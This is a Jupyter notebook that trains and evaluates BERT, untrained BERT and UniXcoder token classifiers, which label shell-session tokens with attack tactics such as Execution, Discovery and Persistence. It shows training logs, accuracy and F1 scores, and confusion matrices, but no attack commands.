A pretrained model of type `BertForTokenClassification` contains parameters that have been renamed internally (a few are listed below but more are present in the model):
* `cls.predictions.transform.LayerNorm.beta` -> `cls.predictions.transform.LayerNorm.bias`
* `cls.predictions.transform.LayerNorm.gamma` -> `cls.predictions.transform.LayerNorm.weight`
If you are using a model from the Hub, consider submitting a PR to adjust these weights and help future users.
Some weights of the model checkpoint at google-bert/bert-base-uncased were not used when initializing BertForTokenClassification: ['bert.pooler.dense.bias', 'bert.pooler.dense.weight', 'cls.predictions.bias', 'cls.predictions.transform.LayerNorm.bias', 'cls.predictions.transform.LayerNorm.weight', 'cls.predictions.transform.dense.bias', 'cls.predictions.transform.dense.weight', 'cls.seq_relationship.bias', 'cls.seq_relationship.weight']
- This IS expected if you are initializing BertForTokenClassification from the checkpoint of a model trained on another task or with another architecture (e.g. initializing a BertForSequenceClassification model from a BertForPreTraining model).
- This IS NOT expected if you are initializing BertForTokenClassification from the checkpoint of a model that you expect to be exactly identical (initializing a BertForSequenceClassification model from a BertForSequenceClassification model).
Some weights of BertForTokenClassification were not initialized from the model checkpoint at google-bert/bert-base-uncased and are newly initialized: ['classifier.bias', 'classifier.weight']
You should probably TRAIN this model on a down-stream task to be able to use it for predictions and inference.
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/config.json
Model config RobertaConfig {
  "architectures": [
    "RobertaModel"
  ],
  "attention_probs_dropout_prob": 0.1,
  "bos_token_id": 0,
  "classifier_dropout": null,
  "eos_token_id": 2,
  "gradient_checkpointing": false,
  "hidden_act": "gelu",
  "hidden_dropout_prob": 0.1,
  "hidden_size": 768,
  "id2label": {
    "0": "Execution",
    "1": "Discovery",
    "2": "Persistence",
    "3": "Defense Evasion",
    "4": "Not Malicious Yet",
    "5": "Other",
    "6": "Impact"
  },
  "initializer_range": 0.02,
  "intermediate_size": 3072,
  "label2id": {
    "Defense Evasion": 3,
    "Discovery": 1,
    "Execution": 0,
    "Impact": 6,
    "Not Malicious Yet": 4,
    "Other": 5,
    "Persistence": 2
  },
  "layer_norm_eps": 1e-05,
  "max_position_embeddings": 1026,
  "model_type": "roberta",
  "num_attention_heads": 12,
  "num_hidden_layers": 12,
  "output_past": true,
  "pad_token_id": 1,
  "position_embedding_type": "absolute",
  "torch_dtype": "float32",
  "transformers_version": "4.55.2",
  "type_vocab_size": 10,
  "use_cache": true,
  "vocab_size": 51416
}

loading weights file pytorch_model.bin from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/pytorch_model.bin
Attempting to create safetensors variant
Some weights of the model checkpoint at microsoft/unixcoder-base were not used when initializing RobertaForTokenClassification: ['roberta.pooler.dense.bias', 'roberta.pooler.dense.weight']
- This IS expected if you are initializing RobertaForTokenClassification from the checkpoint of a model trained on another task or with another architecture (e.g. initializing a BertForSequenceClassification model from a BertForPreTraining model).
- This IS NOT expected if you are initializing RobertaForTokenClassification from the checkpoint of a model that you expect to be exactly identical (initializing a BertForSequenceClassification model from a BertForSequenceClassification model).
Some weights of RobertaForTokenClassification were not initialized from the model checkpoint at microsoft/unixcoder-base and are newly initialized: ['classifier.bias', 'classifier.weight']
You should probably TRAIN this model on a down-stream task to be able to use it for predictions and inference.
In [ ]:
LR = 2e-5
N_TRAIN_EPOCHS = 30
# Define optimizer
bert_optimizer = AdamW(bert_model.parameters(), lr=LR)
unix_optimizer = AdamW(unix_model.parameters(), lr=LR)


# FOR BERT
bert_num_update_steps_per_epoch = len(bert_train_dataloader)
# Total number of training steps: number_batches_x_epoch x number of epochs!
num_training_steps_bert = N_TRAIN_EPOCHS * bert_num_update_steps_per_epoch

bert_lr_scheduler = get_scheduler(
    "linear",
    optimizer=bert_optimizer,
    num_warmup_steps=0,
    num_training_steps=num_training_steps_bert,
)

#FOR UNIX
unix_num_update_steps_per_epoch = len(unix_train_dataloader)
# Total number of training steps: number_batches_x_epoch x number of epochs!
num_training_steps_unix = N_TRAIN_EPOCHS * unix_num_update_steps_per_epoch

unix_lr_scheduler = get_scheduler(
    "linear",
    optimizer=unix_optimizer,
    num_warmup_steps=0,
    num_training_steps=num_training_steps_unix,
)
In [ ]:
#usefull functions
def postprocess(predictions, labels):
    predictions = predictions.detach().cpu().clone().numpy()
    labels = labels.detach().cpu().clone().numpy()
    # Remove ignored index (special tokens) and convert to labels
    true_labels = [[id2label[l] for l in label if l != -100] for label in labels]
    true_predictions = [
        [id2label[p] for (p, l) in zip(prediction, label) if l != -100]
        for prediction, label in zip(predictions, labels)
    ]
    return true_predictions, true_labels



def compute_metrics(full_predictions, full_labels):
    # Token-level metrics
    # Flatten predictions and labels > create a single, long list
    flat_predictions = list(chain(*full_predictions))
    flat_labels = list(chain(*full_labels))
    # Calculate standard classification metrics
    token_accuracy = accuracy_score(flat_labels, flat_predictions)
    token_precision = precision_score(flat_labels, flat_predictions, average='macro', zero_division=0)
    token_recall = recall_score(flat_labels, flat_predictions, average='macro', zero_division=0)
    token_f1 = f1_score(flat_labels, flat_predictions, average='macro', zero_division=0)
    # Return all metrics in a dictionary
    metrics = {
        "token_accuracy": token_accuracy,
        "token_precision": token_precision,
        "token_recall": token_recall,
        "token_f1": token_f1,
    }
    return metrics


# PLOT F1 FOR CLASS
def plot_per_class_f1(full_predictions, full_labels):
    flat_predictions = list(chain(*full_predictions))
    flat_labels = list(chain(*full_labels))
    report = classification_report(flat_labels, flat_predictions, labels=list(id2label.values()), output_dict=True, zero_division=0)

    labels_list = list(id2label.values())
    f1_scores = [report[label]['f1-score'] for label in labels_list]

    # Plot barplot
    plt.figure(figsize=(10, 5))
    sns.barplot(x=labels_list, y=f1_scores, palette="Blues_d")
    plt.ylabel('F1-score')
    plt.xlabel('Label')
    plt.title('Per-class F1-score')
    plt.xticks(rotation=45)
    plt.tight_layout()
    plt.show()



def compute_session_fidelity(full_predictions, full_labels):
    #print("\nFULL PREDICTIONS: ",len(full_predictions))
    #print("\nFULL LABELS: ")
    #print(full_labels)
    session_scores = []
    print("\nStart to compute the session fidelity: \n")
    for pred_session, label_session in zip(full_predictions, full_labels):
        correct = sum([p == l for p, l in zip(pred_session, label_session)])
        total = len(label_session)
        fidelity = correct / total if total > 0 else 0
        session_scores.append(fidelity)
    avg_fidelity = np.mean(session_scores)
    return avg_fidelity, session_scores
In [ ]:
best_val_loss, best_epoch = np.inf, 0
best_model_bert = deepcopy(bert_model)

device = 'cuda' if cuda.is_available() else 'cpu'
bert_model = bert_model.to(device)
print(bert_model.device)
Safetensors PR exists
cuda:0
In [ ]:
# TRAINING LOOP BERT

progress_bar = tqdm(range(num_training_steps_bert))
val_losses, train_losses = [], [] # Lists to keep track of the training and validation losses


#training
for epoch in range(N_TRAIN_EPOCHS):
    # Training
    bert_model.train()
    train_loss = 0
    for batch in bert_train_dataloader:
        batch = {key:value.to(device) for key, value in batch.items()}
        # Model expects:
        # - input_ids > i.e., which tokens we must map into the embeddings
        # - attention_mask > who shall each token pays attention to
        # - labels > the NER tags
        outputs = bert_model(input_ids=batch["input_ids"],
                        attention_mask=batch["attention_mask"],
                        labels=batch["labels"]
        )
        # Notice: the model already comes with a CrossEntropy loss
        # - if `labels` are defined, a loss is also computed
        loss = outputs.loss
        train_loss += loss.detach().cpu().clone().numpy()
        loss.backward()
        bert_optimizer.step()
        bert_lr_scheduler.step()
        bert_optimizer.zero_grad()
        progress_bar.update(1)
    train_losses.append(train_loss/len(bert_train_dataloader))
    # Evaluation
    bert_model.eval()
    full_predictions, full_labels = [], []
    val_loss = 0
    for batch in bert_eval_dataloader:
        batch = {key:value.to(device) for key, value in batch.items()}
        with torch.no_grad():
            outputs = bert_model(**batch)
        val_loss += outputs.loss.detach().cpu().clone().numpy()
        # Extract the predictions
        predictions = outputs.logits.argmax(dim=-1)
        labels = batch["labels"]
        true_predictions, true_labels = postprocess(predictions, labels)
        full_predictions+=true_predictions
        full_labels+=true_labels
    val_loss = val_loss/len(bert_eval_dataloader)
    val_losses.append(val_loss)
    metrics = compute_metrics(full_predictions, full_labels)


    print(
        f"epoch {epoch}:",
        {
            key: metrics[key]
            for key in ["token_accuracy", "token_f1"]
        },
    )
    if val_loss <= best_val_loss:
        best_epoch = epoch
        best_val_loss = val_loss
        best_model_bert = deepcopy(bert_model)

# plot stats

def plot_stats(title, training_losses, validation_losses=None, best_epoch=None):
    # Set style for better-looking plots
    plt.style.use('seaborn-v0_8-paper')
    # Define a common color scheme
    colors = {
        'training': '#2E86C1',    # Deep blue
        'validation': '#27AE60',
        'best_epoch': '#E74C3C',  # Red
    }
    if validation_losses is not None:
        # Create a figure with 2 subplots
        fig, ((ax1, ax2)) = plt.subplots(1, 2, figsize=(5,3))
    else:
        fig, ax1 = plt.subplots(1, figsize=(5,4))

    # Plot data with enhanced styling
    ax1.plot(training_losses, color=colors['training'], linewidth=2)
    ax1.set_title('Training Loss', fontsize=12, pad=10)
    ax1.set_ylabel('Loss', fontsize=10)
    ax1.set_xlabel('Training Steps', fontsize=10)

    if validation_losses is not None:
        ax1.axvline(x=best_epoch, color=colors['best_epoch'], linestyle='--', alpha=0.8, label='Best Epoch')
        ax2.plot(validation_losses, color=colors['validation'], linewidth=2)
        ax2.axvline(x=best_epoch, color=colors['best_epoch'], linestyle='--', alpha=0.8, label='Best Epoch')
        ax2.set_title('Validation Loss', fontsize=12, pad=10)
        ax2.set_ylabel('Loss', fontsize=10)
        ax2.set_xlabel('Training Steps', fontsize=10)
        axs = [ax1, ax2]
    else:
        axs = [ax1]
    # Add grid to all subplots with better styling
    for ax in axs:
        ax.grid(True, linestyle='--', alpha=0.7)
        ax.spines['top'].set_visible(False)
        ax.spines['right'].set_visible(False)
        if len(axs)>1:
            ax.legend(fontsize=8)
    # Add a main title
    fig.suptitle(f'{title} - Training Losses', fontsize=14, y=1.02)
    # Adjust the layout
    plt.tight_layout()
    # Display the plot
    plt.show()
plot_stats("BERT", train_losses,
           validation_losses=val_losses, best_epoch=best_epoch)
epoch 0: {'token_accuracy': 0.638961038961039, 'token_f1': 0.2630975185846337}
epoch 1: {'token_accuracy': 0.7302697302697303, 'token_f1': 0.32699087839663227}
epoch 2: {'token_accuracy': 0.766033966033966, 'token_f1': 0.3560304311580228}
epoch 3: {'token_accuracy': 0.7918081918081918, 'token_f1': 0.3723943555571602}
epoch 4: {'token_accuracy': 0.8051948051948052, 'token_f1': 0.40256195695226743}
epoch 5: {'token_accuracy': 0.8045954045954046, 'token_f1': 0.4278368453465849}
epoch 6: {'token_accuracy': 0.8233766233766234, 'token_f1': 0.4784947322636602}
epoch 7: {'token_accuracy': 0.8313686313686314, 'token_f1': 0.4954950372130705}
epoch 8: {'token_accuracy': 0.824975024975025, 'token_f1': 0.5334774842911056}
epoch 9: {'token_accuracy': 0.8283716283716284, 'token_f1': 0.537249163844637}
epoch 10: {'token_accuracy': 0.8127872127872128, 'token_f1': 0.5462344563549665}
epoch 11: {'token_accuracy': 0.8545454545454545, 'token_f1': 0.5563326306726284}
epoch 12: {'token_accuracy': 0.826973026973027, 'token_f1': 0.5539299169033984}
epoch 13: {'token_accuracy': 0.8371628371628371, 'token_f1': 0.5618943910541871}
epoch 14: {'token_accuracy': 0.8475524475524475, 'token_f1': 0.5595827905218974}
epoch 15: {'token_accuracy': 0.8373626373626374, 'token_f1': 0.568672403810545}
epoch 16: {'token_accuracy': 0.8521478521478522, 'token_f1': 0.5748698395871292}
epoch 17: {'token_accuracy': 0.8343656343656344, 'token_f1': 0.5718334489782546}
epoch 18: {'token_accuracy': 0.8563436563436564, 'token_f1': 0.5808367436344576}
epoch 19: {'token_accuracy': 0.858941058941059, 'token_f1': 0.5946459362182619}
epoch 20: {'token_accuracy': 0.8645354645354645, 'token_f1': 0.5984581527762692}
epoch 21: {'token_accuracy': 0.8587412587412587, 'token_f1': 0.5943114140111371}
epoch 22: {'token_accuracy': 0.8583416583416583, 'token_f1': 0.5925526815838855}
epoch 23: {'token_accuracy': 0.8571428571428571, 'token_f1': 0.5959171611396954}
epoch 24: {'token_accuracy': 0.8635364635364635, 'token_f1': 0.5971345979201522}
epoch 25: {'token_accuracy': 0.8647352647352647, 'token_f1': 0.6008936906708625}
epoch 26: {'token_accuracy': 0.8619380619380619, 'token_f1': 0.6007922190860475}
epoch 27: {'token_accuracy': 0.8645354645354645, 'token_f1': 0.5878499619335976}
epoch 28: {'token_accuracy': 0.8661338661338661, 'token_f1': 0.5940559728366368}
epoch 29: {'token_accuracy': 0.8657342657342657, 'token_f1': 0.593958227396376}
In [ ]:
# Evaluation
bert_model.eval()
full_predictions, full_labels = [], []
for batch in bert_test_dataloader:
    batch = {key:value.to(device) for key, value in batch.items()}

    with torch.no_grad():
        # Another way to pass the items to the model
        outputs = best_model_bert(**batch)
    # Extract the predictions
    predictions = outputs.logits.argmax(dim=-1)
    labels = batch["labels"]
    true_predictions, true_labels = postprocess(predictions, labels)
    full_predictions+=true_predictions
    full_labels+=true_labels
test_metrics = compute_metrics(full_predictions, full_labels)
plot_per_class_f1(full_predictions, full_labels)


for key in ["token_accuracy", "token_f1", "token_precision", "token_recall"]:
    print(f"{key:<20}: {test_metrics[key]*100:6.2f}%")


avg_fidelity, session_scores = compute_session_fidelity(full_predictions, full_labels)
print(f"\nAverage Session Fidelity: {avg_fidelity:.2%}")

plt.figure(figsize=(8,4))
plt.plot(session_scores, marker='o')
plt.title("Session-wise Fidelity Scores")
plt.xlabel("Session Index")
plt.ylabel("Fidelity")
plt.grid(True)
plt.tight_layout()
plt.show()

def compute_confusion_matrix(full_predictions, full_labels, normalize=False):
    # Token-level metrics
    # Flatten predictions and labels into a single list
    flat_predictions = list(chain(*full_predictions))
    flat_labels = list(chain(*full_labels))
    # Compute the confusion matrix
    cm = confusion_matrix(flat_labels, flat_predictions, labels=list(id2label.values()))
    if normalize:
        cm = cm.astype('float') / cm.sum(axis=1, keepdims=True)
        fmt = '.2f'
    else:
        fmt = 'd'
    # Plot confusion matrix
    plt.figure(figsize=(8, 6))
    sns.heatmap(cm, annot=True, fmt=fmt, cmap='Blues',
                xticklabels=list(id2label.values()),
                yticklabels=list(id2label.values()))
    plt.ylabel('True label')
    plt.xlabel('Predicted label')
    plt.title('Normalized Confusion Matrix' if normalize else 'Confusion Matrix')
    plt.xticks(rotation=45, ha='right')
    plt.yticks(rotation=0)
    plt.tight_layout()
    plt.show()
    return cm

compute_confusion_matrix(full_predictions, full_labels, normalize=False)
compute_confusion_matrix(full_predictions, full_labels, normalize=True)
/tmp/ipython-input-2673136637.py:46: FutureWarning: 

Passing `palette` without assigning `hue` is deprecated and will be removed in v0.14.0. Assign the `x` variable to `hue` and set `legend=False` for the same effect.

  sns.barplot(x=labels_list, y=f1_scores, palette="Blues_d")
token_accuracy      :  82.98%
token_f1            :  55.85%
token_precision     :  81.43%
token_recall        :  50.23%

Start to compute the session fidelity: 


Average Session Fidelity: 80.10%
Out[ ]:
array([[8.20986313e-01, 1.72061699e-01, 0.00000000e+00, 0.00000000e+00,
        6.95198783e-03, 0.00000000e+00, 0.00000000e+00],
       [3.18237454e-02, 9.58112335e-01, 1.76798586e-03, 1.35998912e-04,
        4.07996736e-03, 4.07996736e-03, 0.00000000e+00],
       [6.08766234e-03, 7.67045455e-02, 9.15584416e-01, 0.00000000e+00,
        0.00000000e+00, 1.21753247e-03, 4.05844156e-04],
       [6.59340659e-01, 1.53846154e-01, 0.00000000e+00, 1.84065934e-01,
        2.74725275e-03, 0.00000000e+00, 0.00000000e+00],
       [5.26915114e-01, 1.68737060e-01, 7.24637681e-03, 0.00000000e+00,
        2.96066253e-01, 0.00000000e+00, 1.03519669e-03],
       [1.48760331e-01, 5.78512397e-01, 0.00000000e+00, 0.00000000e+00,
        1.44628099e-01, 1.28099174e-01, 0.00000000e+00],
       [2.07006369e-01, 4.36305732e-01, 0.00000000e+00, 0.00000000e+00,
        1.43312102e-01, 0.00000000e+00, 2.13375796e-01]])
In [ ]:
# NAKED BERT

# First, get the configuration of the model
config = AutoConfig.from_pretrained(
    pretrained_model_name_or_path=model1,
    id2label=id2label, # Notice that we are also providing the mapping from ids to labels
    label2id=label2id, # And viceversa
)
# Then initialize the model with random weights using the configuration
bert_model_naked = AutoModelForTokenClassification.from_config(config)

best_val_loss, best_epoch = np.inf, 0
best_model_bert_naked = deepcopy(bert_model_naked)

device = 'cuda' if cuda.is_available() else 'cpu'
bert_model_naked = bert_model_naked.to(device)
print(bert_model_naked.device)
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/config.json
Model config BertConfig {
  "architectures": [
    "BertForMaskedLM"
  ],
  "attention_probs_dropout_prob": 0.1,
  "classifier_dropout": null,
  "gradient_checkpointing": false,
  "hidden_act": "gelu",
  "hidden_dropout_prob": 0.1,
  "hidden_size": 768,
  "id2label": {
    "0": "Execution",
    "1": "Discovery",
    "2": "Persistence",
    "3": "Defense Evasion",
    "4": "Not Malicious Yet",
    "5": "Other",
    "6": "Impact"
  },
  "initializer_range": 0.02,
  "intermediate_size": 3072,
  "label2id": {
    "Defense Evasion": 3,
    "Discovery": 1,
    "Execution": 0,
    "Impact": 6,
    "Not Malicious Yet": 4,
    "Other": 5,
    "Persistence": 2
  },
  "layer_norm_eps": 1e-12,
  "max_position_embeddings": 512,
  "model_type": "bert",
  "num_attention_heads": 12,
  "num_hidden_layers": 12,
  "pad_token_id": 0,
  "position_embedding_type": "absolute",
  "transformers_version": "4.55.1",
  "type_vocab_size": 2,
  "use_cache": true,
  "vocab_size": 30522
}

cuda:0
In [ ]:
# TRAINING LOOP BERT NAKED

progress_bar = tqdm(range(num_training_steps_bert))
val_losses, train_losses = [], [] # Lists to keep track of the training and validation losses

bert_optimizer = AdamW(bert_model_naked.parameters(), lr=LR)

bert_lr_scheduler = get_scheduler(
    "linear",
    optimizer=bert_optimizer,
    num_warmup_steps=0,
    num_training_steps=num_training_steps_bert,
)

#training
for epoch in range(N_TRAIN_EPOCHS):
    # Training
    bert_model_naked.train()
    train_loss = 0
    for batch in bert_train_dataloader:
        batch = {key:value.to(device) for key, value in batch.items()}
        # Model expects:
        # - input_ids > i.e., which tokens we must map into the embeddings
        # - attention_mask > who shall each token pays attention to
        # - labels > the NER tags
        outputs = bert_model_naked(input_ids=batch["input_ids"],
                        attention_mask=batch["attention_mask"],
                        labels=batch["labels"]
        )
        # Notice: the model already comes with a CrossEntropy loss
        # - if `labels` are defined, a loss is also computed
        loss = outputs.loss
        train_loss += loss.detach().cpu().clone().numpy()
        loss.backward()
        bert_optimizer.step()
        bert_lr_scheduler.step()
        bert_optimizer.zero_grad()
        progress_bar.update(1)
    train_losses.append(train_loss/len(bert_train_dataloader))
    # Evaluation
    bert_model_naked.eval()
    full_predictions, full_labels = [], []
    val_loss = 0
    for batch in bert_eval_dataloader:
        batch = {key:value.to(device) for key, value in batch.items()}
        with torch.no_grad():
            outputs = bert_model_naked(**batch)
        val_loss += outputs.loss.detach().cpu().clone().numpy()
        # Extract the predictions
        predictions = outputs.logits.argmax(dim=-1)
        labels = batch["labels"]
        true_predictions, true_labels = postprocess(predictions, labels)
        full_predictions+=true_predictions
        full_labels+=true_labels
    val_loss = val_loss/len(bert_eval_dataloader)
    val_losses.append(val_loss)
    metrics = compute_metrics(full_predictions, full_labels)


    print(
        f"epoch {epoch}:",
        {
            key: metrics[key]
            for key in ["token_accuracy", "token_f1"]
        },
    )

    if val_loss <= best_val_loss:
        best_epoch = epoch
        best_val_loss = val_loss
        best_model_bert_naked = deepcopy(bert_model_naked)


plot_stats("BERT NAKED", train_losses,
           validation_losses=val_losses, best_epoch=best_epoch)
epoch 0: {'token_accuracy': 0.44015984015984017, 'token_f1': 0.1101848806762954}
epoch 1: {'token_accuracy': 0.6527472527472528, 'token_f1': 0.2509679179814953}
epoch 2: {'token_accuracy': 0.6653346653346653, 'token_f1': 0.257902359967398}
epoch 3: {'token_accuracy': 0.6751248751248752, 'token_f1': 0.27960706812234926}
epoch 4: {'token_accuracy': 0.6859140859140859, 'token_f1': 0.31720028198441536}
epoch 5: {'token_accuracy': 0.7092907092907093, 'token_f1': 0.3627266565212378}
epoch 6: {'token_accuracy': 0.7346653346653347, 'token_f1': 0.4411415112137509}
epoch 7: {'token_accuracy': 0.7576423576423577, 'token_f1': 0.4523407328122504}
epoch 8: {'token_accuracy': 0.757042957042957, 'token_f1': 0.44677036555391}
epoch 9: {'token_accuracy': 0.7448551448551448, 'token_f1': 0.457914406502787}
epoch 10: {'token_accuracy': 0.7482517482517482, 'token_f1': 0.46402879463289665}
epoch 11: {'token_accuracy': 0.7712287712287712, 'token_f1': 0.45957611463151593}
epoch 12: {'token_accuracy': 0.7698301698301698, 'token_f1': 0.4710354768187077}
epoch 13: {'token_accuracy': 0.7672327672327672, 'token_f1': 0.45827917424511444}
epoch 14: {'token_accuracy': 0.77002997002997, 'token_f1': 0.48554006348641426}
epoch 15: {'token_accuracy': 0.7778221778221778, 'token_f1': 0.4582760062482541}
epoch 16: {'token_accuracy': 0.779020979020979, 'token_f1': 0.49360204631295407}
epoch 17: {'token_accuracy': 0.7852147852147852, 'token_f1': 0.480994761977073}
epoch 18: {'token_accuracy': 0.7876123876123876, 'token_f1': 0.4982519404201547}
epoch 19: {'token_accuracy': 0.785014985014985, 'token_f1': 0.49149115800727733}
epoch 20: {'token_accuracy': 0.7898101898101898, 'token_f1': 0.49337739881505216}
epoch 21: {'token_accuracy': 0.793006993006993, 'token_f1': 0.4982850256132921}
epoch 22: {'token_accuracy': 0.7848151848151849, 'token_f1': 0.4994918711319865}
epoch 23: {'token_accuracy': 0.7838161838161838, 'token_f1': 0.4887417856857734}
epoch 24: {'token_accuracy': 0.7902097902097902, 'token_f1': 0.5052353905623226}
epoch 25: {'token_accuracy': 0.7908091908091908, 'token_f1': 0.48848623131595625}
epoch 26: {'token_accuracy': 0.791008991008991, 'token_f1': 0.49572390776517306}
epoch 27: {'token_accuracy': 0.7906093906093906, 'token_f1': 0.4990518651767724}
epoch 28: {'token_accuracy': 0.7906093906093906, 'token_f1': 0.49498815868650115}
epoch 29: {'token_accuracy': 0.7918081918081918, 'token_f1': 0.49762203700969115}
In [ ]:
# Evaluation
bert_model_naked.eval()
full_predictions, full_labels = [], []
for batch in bert_test_dataloader:
    batch = {key:value.to(device) for key, value in batch.items()}

    with torch.no_grad():
        # Another way to pass the items to the model
        outputs = best_model_bert_naked(**batch)
    # Extract the predictions
    predictions = outputs.logits.argmax(dim=-1)
    labels = batch["labels"]
    true_predictions, true_labels = postprocess(predictions, labels)
    full_predictions+=true_predictions
    full_labels+=true_labels
test_metrics = compute_metrics(full_predictions, full_labels)
plot_per_class_f1(full_predictions, full_labels)


for key in ["token_accuracy", "token_f1", "token_precision", "token_recall"]:
    print(f"{key:<20}: {test_metrics[key]*100:6.2f}%")


compute_confusion_matrix(full_predictions, full_labels, normalize=False)
compute_confusion_matrix(full_predictions, full_labels, normalize=True)
/tmp/ipython-input-2673136637.py:46: FutureWarning: 

Passing `palette` without assigning `hue` is deprecated and will be removed in v0.14.0. Assign the `x` variable to `hue` and set `legend=False` for the same effect.

  sns.barplot(x=labels_list, y=f1_scores, palette="Blues_d")
token_accuracy      :  75.36%
token_f1            :  49.21%
token_precision     :  57.68%
token_recall        :  46.97%
Out[ ]:
array([[7.63632414e-01, 1.15359548e-01, 4.30154247e-02, 2.60699544e-03,
        6.84336302e-02, 4.77949164e-03, 2.17249620e-03],
       [4.89596083e-02, 8.68353053e-01, 4.54236366e-02, 1.63198694e-03,
        2.47518020e-02, 9.65592275e-03, 1.22399021e-03],
       [2.84090909e-02, 2.10227273e-01, 7.55681818e-01, 4.05844156e-04,
        0.00000000e+00, 0.00000000e+00, 5.27597403e-03],
       [7.25274725e-01, 1.51098901e-01, 2.19780220e-02, 7.14285714e-02,
        1.64835165e-02, 1.37362637e-02, 0.00000000e+00],
       [5.13457557e-01, 3.93374741e-02, 1.34575569e-02, 7.24637681e-03,
        3.96480331e-01, 1.55279503e-02, 1.44927536e-02],
       [1.61157025e-01, 5.20661157e-01, 4.13223140e-02, 0.00000000e+00,
        2.89256198e-02, 2.47933884e-01, 0.00000000e+00],
       [6.21019108e-01, 1.17834395e-01, 5.41401274e-02, 2.22929936e-02,
        0.00000000e+00, 0.00000000e+00, 1.84713376e-01]])
In [ ]:
best_val_loss, best_epoch = np.inf, 0
best_model_unix = deepcopy(unix_model)

device = 'cuda' if cuda.is_available() else 'cpu'
unix_model = unix_model.to(device)
print(unix_model.device)

progress_bar = tqdm(range(num_training_steps_unix))
val_losses, train_losses = [], [] # Lists to keep track of the training and validation losses
cuda:0
In [ ]:
#training
for epoch in range(N_TRAIN_EPOCHS):
    # Training
    unix_model.train()
    train_loss = 0
    for batch in unix_train_dataloader:
        batch = {key:value.to(device) for key, value in batch.items()}
        # Model expects:
        # - input_ids > i.e., which tokens we must map into the embeddings
        # - attention_mask > who shall each token pays attention to
        # - labels > the NER tags

        # NORMAL
        outputs = unix_model(input_ids=batch["input_ids"],
                        attention_mask=batch["attention_mask"],
                        labels=batch["labels"]
        )
        # Notice: the model already comes with a CrossEntropy loss
        # - if `labels` are defined, a loss is also computed
        loss = outputs.loss

        # WITH CLASS BALANCE
        #outputs = unix_model(input_ids=batch["input_ids"],
        #            attention_mask=batch["attention_mask"],
        #            labels = batch["labels"]
        #            )
        #labels = batch["labels"]
        #logits = outputs.logits
        #logits = logits.view(-1, logits.shape[-1])
        #labels = labels.view(-1)
        #loss = loss_fn(logits, labels)

        train_loss += loss.detach().cpu().clone().numpy()
        loss.backward()
        unix_optimizer.step()
        unix_lr_scheduler.step()
        unix_optimizer.zero_grad()
        progress_bar.update(1)
    train_losses.append(train_loss/len(unix_train_dataloader))
    # Evaluation
    unix_model.eval()
    full_predictions, full_labels = [], []
    val_loss = 0
    for batch in unix_eval_dataloader:
        batch = {key:value.to(device) for key, value in batch.items()}
        with torch.no_grad():
            outputs = unix_model(**batch)
        val_loss += outputs.loss.detach().cpu().clone().numpy()
        # Extract the predictions
        predictions = outputs.logits.argmax(dim=-1)
        labels = batch["labels"]
        true_predictions, true_labels = postprocess(predictions, labels)
        full_predictions+=true_predictions
        full_labels+=true_labels
    val_loss = val_loss/len(unix_eval_dataloader)
    val_losses.append(val_loss)
    metrics = compute_metrics(full_predictions, full_labels)
    print(
        f"epoch {epoch}:",
        {
            key: metrics[key]
            for key in ["token_accuracy", "token_f1"]
        },
    )
    if val_loss <= best_val_loss:
        best_epoch = epoch
        best_val_loss = val_loss
        best_model_unix = deepcopy(unix_model)

#plot stats
plot_stats("UNIX", train_losses,
           validation_losses=val_losses, best_epoch=best_epoch)
epoch 0: {'token_accuracy': 0.6779972439136426, 'token_f1': 0.2648855703328867}
epoch 1: {'token_accuracy': 0.7466697289848415, 'token_f1': 0.37540346791787066}
epoch 2: {'token_accuracy': 0.7873220027560863, 'token_f1': 0.4324073215771499}
epoch 3: {'token_accuracy': 0.815112540192926, 'token_f1': 0.46817450802430016}
epoch 4: {'token_accuracy': 0.8305006890215894, 'token_f1': 0.5382201956706429}
epoch 5: {'token_accuracy': 0.8392282958199357, 'token_f1': 0.5263936785287682}
epoch 6: {'token_accuracy': 0.8355535140101057, 'token_f1': 0.5496843060791873}
epoch 7: {'token_accuracy': 0.8431327514928801, 'token_f1': 0.5794586025479875}
epoch 8: {'token_accuracy': 0.8576022048690859, 'token_f1': 0.6186951279210485}
epoch 9: {'token_accuracy': 0.8615066605420303, 'token_f1': 0.6251459807644967}
epoch 10: {'token_accuracy': 0.8633440514469454, 'token_f1': 0.6229119485069458}
epoch 11: {'token_accuracy': 0.8640330730362885, 'token_f1': 0.6369047182953255}
epoch 12: {'token_accuracy': 0.8633440514469454, 'token_f1': 0.6006020962812074}
epoch 13: {'token_accuracy': 0.8725310059715204, 'token_f1': 0.6553106607863718}
epoch 14: {'token_accuracy': 0.8470372071658245, 'token_f1': 0.5854177626705225}
epoch 15: {'token_accuracy': 0.868626550298576, 'token_f1': 0.6649053557937317}
epoch 16: {'token_accuracy': 0.8638033991731741, 'token_f1': 0.6423772380551119}
epoch 17: {'token_accuracy': 0.8718419843821773, 'token_f1': 0.6403279355910375}
epoch 18: {'token_accuracy': 0.871612310519063, 'token_f1': 0.6512087745575068}
epoch 19: {'token_accuracy': 0.870463941203491, 'token_f1': 0.6681093584458547}
epoch 20: {'token_accuracy': 0.8688562241616904, 'token_f1': 0.6437975378516433}
epoch 21: {'token_accuracy': 0.8688562241616904, 'token_f1': 0.6567110466297346}
epoch 22: {'token_accuracy': 0.8695452457510335, 'token_f1': 0.6549663881165494}
epoch 23: {'token_accuracy': 0.8700045934772623, 'token_f1': 0.6511850937437285}
epoch 24: {'token_accuracy': 0.870463941203491, 'token_f1': 0.6518884564822237}
epoch 25: {'token_accuracy': 0.8690858980248047, 'token_f1': 0.6407995949291168}
epoch 26: {'token_accuracy': 0.8679375287092329, 'token_f1': 0.646877317550546}
epoch 27: {'token_accuracy': 0.8679375287092329, 'token_f1': 0.6474000637007441}
epoch 28: {'token_accuracy': 0.8683968764354616, 'token_f1': 0.639284448772648}
epoch 29: {'token_accuracy': 0.8690858980248047, 'token_f1': 0.6399725410435408}
In [ ]:
# Evaluation
unix_model.eval()
full_predictions, full_labels = [], []
for batch in unix_test_dataloader:
    batch = {key:value.to(device) for key, value in batch.items()}
    with torch.no_grad():
        # Another way to pass the items to the model
        outputs = best_model_unix(**batch)
    # Extract the predictions
    predictions = outputs.logits.argmax(dim=-1)
    labels = batch["labels"]
    true_predictions, true_labels = postprocess(predictions, labels)
    full_predictions+=true_predictions
    full_labels+=true_labels
